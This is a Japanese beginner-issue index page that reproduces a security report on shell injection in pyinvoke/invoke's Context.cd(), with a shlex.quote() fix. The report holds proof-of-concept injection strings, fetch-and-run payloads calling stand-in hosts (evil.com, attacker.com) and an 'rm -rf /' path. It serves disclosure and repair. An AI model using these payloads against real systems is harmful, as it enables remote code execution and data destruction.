Hacktoberfest 2026:メンテナが10月に向けて印を付けた、オープンで初心者向けの issue。 Hacktoberfest の issue を見る

[Security] Shell injection via Context.cd() path argument — metacharacters not escaped (CWE-78)

オープン 初心者向け
#1,089 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

評価

難易度
2/5
見積もり時間
1〜3時間
初心者へのやさしさ
72/100
issue の種類
バグ
明瞭さ
明確に書かれている
活発さ
活発
技術スタック
bash, python
領域
cli, security

調査の方向性

invoke/context.py の _prefix_commands() と cwd プロパティから始め、組み立てられたコマンドが Popen(..., shell=True) または os.execvpe(...) に到達するまでを追跡します。コマンド置換とセミコロン文字を含む、リストにある 2 つのパスを再現し、それらがリテラルとして扱われる一方で、通常の cd とコマンド実行が引き続き機能することを確認します。

索引モデルが issue の本文から書いたものです。

説明

Summary

Context.cd() builds shell commands by inserting the raw path into "cd {} && <command>".format(path) inside _prefix_commands(). Only space characters are escaped (via .replace(" ", r"\ ")). All other shell metacharacters — $(), `, ;, |, &&, ||, newlines — are passed through verbatim to bash -c.

An inline TODO in the source acknowledges this is incomplete:

# invoke/context.py:354
# TODO: see if there's a stronger "escape this path" function somewhere
# we can reuse. e.g., escaping tildes or slashes in filenames.
paths = [path.replace(" ", r"\ ") for path in self.command_cwds[i:]]

Affected code

File: invoke/context.py
Functions: cwd property (line 337) and _prefix_commands() (line 266)
Commit: 6a71e680c535ba6520e935c497099fbca011d03c

# _prefix_commands() — the injection point
def _prefix_commands(self, command: str) -> str:
    prefixes = list(self.command_prefixes)
    current_directory = self.cwd               # ← only spaces escaped
    if current_directory:
        prefixes.insert(0, "cd {}".format(current_directory))  # ← raw into shell
    return " && ".join(prefixes + [command])

# The assembled string is passed to:
# Popen(command, shell=True, executable="/bin/bash")
# OR os.execvpe(shell, [shell, "-c", command], env)

Two confirmed injection vectors

Vector A — Command substitution $() (no spaces → space-escape doesn't help):

c = Context()
with c.cd("$(id>/tmp/invoke_poc.txt)"):
    c.run("echo normal")

# bash receives:  cd $(id>/tmp/invoke_poc.txt) && echo normal
# bash evaluates $(...) BEFORE cd → runs id, writes output to file
# cd fails silently, echo runs normally
# /tmp/invoke_poc.txt: uid=1000(user) gid=1000(user) ...

Vector B — Semicolon chaining (no spaces):

with c.cd("/tmp;id>/tmp/invoke_poc.txt"):
    c.run("echo normal")

# bash receives:  cd /tmp;id>/tmp/invoke_poc.txt && echo normal
# Executes: 1) cd /tmp  2) id>/tmp/invoke_poc.txt  3) echo normal

Verified output (run against commit 6a71e68 in isolated environment)

[Vector A] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'
[Vector B] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'

Real-world trigger conditions

Any task that passes external or user-controlled input to c.cd():

# 1. User-supplied CLI argument
@task
def deploy(c, target_dir):
    with c.cd(target_dir):           # invoke deploy --target-dir '$(curl evil.com/shell.sh|sh)'
        c.run("make install")

# 2. Dynamic path from filesystem scan (filenames can be arbitrary)
for entry in Path("/repos").iterdir():
    with c.cd(str(entry)):           # entry name: "$(rm -rf /)"
        c.run("git pull")

# 3. Path from config/API/DB
for repo in api_response["repos"]:
    with c.cd(repo["path"]):         # path: "/work;curl attacker.com|sh"
        c.run("git status")

In Fabric (which wraps Invoke for SSH), remote directory names are directly fed to c.cd(), making this exploitable when running tasks against hostile or compromised remote filesystems.

Severity

High — arbitrary command execution in the context of the invoking process.

CWE-78 (OS Command Injection)
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (if path from network/user input)
CVSS 3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.8 (local-only use)

Fix

Apply shlex.quote() to the assembled directory in _prefix_commands(), and remove the incomplete space-only escaping from cwd:

import shlex

def _prefix_commands(self, command: str) -> str:
    prefixes = list(self.command_prefixes)
    current_directory = self.cwd
    if current_directory:
        prefixes.insert(0, "cd {}".format(shlex.quote(current_directory)))  # ← safe
    return " && ".join(prefixes + [command])

@property
def cwd(self) -> str:
    ...
    paths = list(self.command_cwds[i:])   # ← shlex.quote() handles all escaping
    return str(os.path.join(*paths))

shlex.quote() wraps in single quotes and escapes embedded single quotes:

  • /tmp;id'/tmp;id' (semicolon becomes literal)
  • $(id)'$(id)' (dollar/parens become literal)
  • my dir'my dir' (space handled correctly, no backslash needed)

A patch implementing this fix is available at:
https://github.com/HarshRajSinghania/invoke/tree/fix/i1-cd-shell-injection

Reporter

Harsh Raj Singhania — independent security researcher
Contact: raj.harshraut@gmail.com

主要言語
Python
スター
4.8k
フォーク
412
PR マージ指標
30日以内にマージされた PR はありません

コントリビューションガイド

このリポジトリのコントリビューションガイドは索引されていません

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

pyinvoke/invoke のほかの issue

pyinvoke/invoke の issue をすべて見る

似ている issue

Python の issue をもっと見る

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。